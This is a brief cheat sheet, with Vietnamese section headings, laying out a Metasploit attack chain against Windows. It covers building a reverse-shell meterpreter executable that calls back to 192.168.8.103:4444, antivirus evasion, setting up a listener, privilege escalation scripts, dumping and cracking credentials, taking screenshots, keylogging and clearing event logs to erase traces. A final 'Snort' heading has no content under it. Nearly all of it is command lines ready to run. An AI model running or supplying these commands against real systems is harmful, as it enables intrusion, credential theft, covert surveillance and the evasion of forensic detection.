1. Tạo tệp độc hại

**msfvenom -p windows/meterpreter/reverse\_tcp -a x86 –platform windows -f exe LHOST=192.168.8.103 LPORT=4444 -o /root/something32.exe**

**python3 phantom-evasion.py**

**msfdb init; msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse\_tcp; set lhost 192.168.8.103; run"**

1. Thực thi

getuid

sysinfo

1. Leo thang đặc quyền

load powershell

( trinh sát)

powershell\_import 'Sherlock.ps1'

powershell\_execute "Find-allvulns"

powershell\_import 'exploit.ps1'

1. Lấy thông tin

creds -d -S

use auxiliary/analyze/crack\_windows

1. Chụp màn hình

screenshot -p /root/Desktop/picture/hinh1.jpg

load espia

screengrab /root/Desktop/hinh1.jpg

1. Keylogger

Ps

ps -S explorer.exe

migrate <PID>

keyscan\_start -v

keyscan\_dump

keyscan\_stop

run post/windows/capture/keylog\_recorder

1. Xoá dấu vết

Sysinfo

Clearev

Run event\_manager -c

1. Snort